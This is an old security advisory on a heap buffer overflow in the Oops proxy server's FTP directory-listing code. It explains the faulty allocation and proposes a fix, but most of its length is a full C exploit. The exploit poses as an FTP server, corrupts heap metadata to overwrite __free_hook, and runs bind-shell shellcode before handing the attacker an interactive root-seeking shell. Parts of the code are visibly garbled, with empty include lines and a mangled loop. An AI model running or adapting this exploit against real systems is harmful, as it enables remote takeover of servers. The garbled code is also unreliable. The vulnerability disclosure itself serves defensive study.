pkc001.txt



--- Packet Knights Advisory 001 ---



http://www.pkcrew.org



Author : |CyRaX| 



Application : Oops proxy server 1.4.22 1.4.6 and maybe prior



Type: heap buffer overflow



--- The problem ---



Function list_parser in ftp_utils.c :



line is the line sent by the ftp server in result of a list command



   tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);

p is the line without the filename



    htmlized_something = html_escaping(p);



and this is the vulnerable sprintf



sprintf(tempbuf, "http://%s:%s/%s/%s\" alt=\"%s\">%s ",

                              icons_host[0]?icons_host:myhostname,

                              icons_port[0]?icons_port:"80",

                              icons_path[0]?icons_path:"icons",

                              icons[type],

                              alts[type],

                              htmlized_something);



well.. as you can see tempbuf allocs strlen(line)*3. The probably tougth

that the htmlizing of the line can give just a string 3 times bigger than

the line. But if you look at html_escaping code you see that he translates

" into " . So putting a large amount of " in the line we can overflow

tempbuf.



--- The Solution ---



Well.. a quick fix could be just changing the alloc line into:



tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];



but you can save more memory allocating tempbuf after the html_escaping.

Anyway.. the authors were contacted and they're fixing it in a better way.



--- How to exploit this ---



As demostrated by the traceroute and slocate exploits, it's possibile to

overwrite a function pointer modifing a malloc chunk.

And in this case, after the tempbuf buffer, there is the chunk of

htmlized_something. So the exploit have to overwrite it, set the the size to

0xffffffff to make it a free chunk, put the address of the shellcode into fd

and the address of the target function pointer into bd (-8), and when the

free() will call the unlink it will put the shellcode address into

__free_hook. The problem of the exploit is that we must compute exactly the

length of tempbuf and hope that malloc will not give it a bigger length,

overwrite perfectly the chunk, know exactly the address of __free_hook and the

address of the shellcode.

As you can see the bigger problem is the shellcode. We can't simply put a

(not too) large amount of nop, cause the unlink will fill the zone near the

one pointed by __free_hook with the address of it.. (so.. some illegal

instrunctions) and the shellcode have to jump them. If instead you point to a

nop the other nops after that will be overwritten by the unlink() and will

result in SIGILL.

So.. this is very hard to exploit.. anyway it's possible..

I include an example exploit that worked on my slackware 7.0



--- PKCoops-ex.c ---



/* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior

 * Coded by |CyRaX| 

 * Packet Knights Crew : www.pkcrew.org

 * Tested on Slackware 7.0

 *

 * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu

 * LordFelix & bikappa : for some hints about heap overflow

 * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others

*/





#include 

#include 

#include 

#include 



#define ALIGN 0

#define __FREE_HOOK 0x40175994

#define SHELLCODE 0x80b1223





char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

            "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"

            "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"

            "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"

            "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"

            "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"

            "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"

            "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"

            "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";





int main(int argc,char **argv){

   int s,s2,clnsock,i;

   struct sockaddr_in srv,clt;

   char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];

   unsigned long ip;

   int h1,h2,h3,h4,p1,p2;

   u_short port;

   int passive=0,tmplen,wrtlen;

   struct malloc_chunk{

      unsigned int ps;

      unsigned int sz;

      struct malloc_chunk *fd;

      struct malloc_chunk *bd;

   }mc;

   fd_set setz;



   mc.ps=0xffffffff & ~1;

   mc.sz=0xffffffff;

   mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */

   mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */

   memset(magic2,0x41,0);

   memcpy(magic2+0,&mc,sizeof(mc));



   memset(magic3,'\x90',50);

   memcpy(magic3+50,c0de,strlen(c0de));

   magic3[50+strlen(c0de)]=0;



   if(argc<4){

      printf("Proof exploit against oops proxy server heap buffer overflow!\n");

      printf("by |CyRaX| \n");

      printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");

      printf("Usage ./oopsexp   \n");

      printf("your ip: it is necessary for the passive mode\n");

      printf("hostname len is the len of the host that he *thinks* to have\n");

      printf("         for example if the hostname is c500 you must put 4 here\n");



      exit(0);

   }

   printf("now set the victim as your proxy in any web browser and go to\n");

   printf("http://\n");



   for(i=0;i"" target="_new">http://:80/icons/unknown.gif\">"

       "alt=\"[Unkn] \" ")+atoi(argv[3]);

wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt   \r\n")+strlen(magic2);

i=0;



while((wrtlen-tmplen)<16){

       magic[i]='"';

       tmplen+=3; /* 1 *3 */

       wrtlen+=6; /* " */

       i++;

}

magic[i]=0;

printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);





memset(sndbuff,0,1500);

snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",

  magic,

  magic2,

  magic3);



send(s2,sndbuff,3000,0);

strcpy(sndbuff,"226 Ho finito\r\n");

send(clnsock,sndbuff,strlen(sndbuff),0);

shutdown(s2,2);

printf("closed!\n");

sleep(5);

s2=socket(AF_INET,SOCK_STREAM,0);

clt.sin_addr.s_addr=inet_addr(argv[2]);

clt.sin_port=htons(3879);

clt.sin_family=AF_INET;

if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){

    printf("SORRY.. it didn't work!\n");

    exit(0);

}

strcpy(sndbuff,"uname -a;id\n");

send(s2,sndbuff,strlen(sndbuff),0);

while(1){

    FD_ZERO(&setz);

    FD_SET(0,&setz);

    FD_SET(s2,&setz);

    select(s2+1,&setz,NULL,NULL,NULL);

    if(FD_ISSET(0,&setz)){

       memset(sndbuff,0,sizeof(sndbuff));

       fgets(sndbuff,sizeof(sndbuff),stdin);

       send(s2,sndbuff,strlen(sndbuff),0);

    }

    if(FD_ISSET(s2,&setz)){

       memset(sndbuff,0,sizeof(sndbuff));

       recv(s2,sndbuff,sizeof(sndbuff),0);

       printf("%s",sndbuff);

    }

}

      }

      if(strstr(buff,"CWD")){

strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");

send(clnsock,sndbuff,strlen(sndbuff),0);

      }

      if(strstr(buff,"PWD")){

strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");

send(clnsock,sndbuff,strlen(sndbuff),0);

      }

      if(strstr(buff,"QUIT")){

close(clnsock);

      }

   }

   close(clnsock);

   close(s);

   close(s2);

}





-- EOF --



|CyRaX|

Member Of Packet Knights Crew

www.pkcrew.org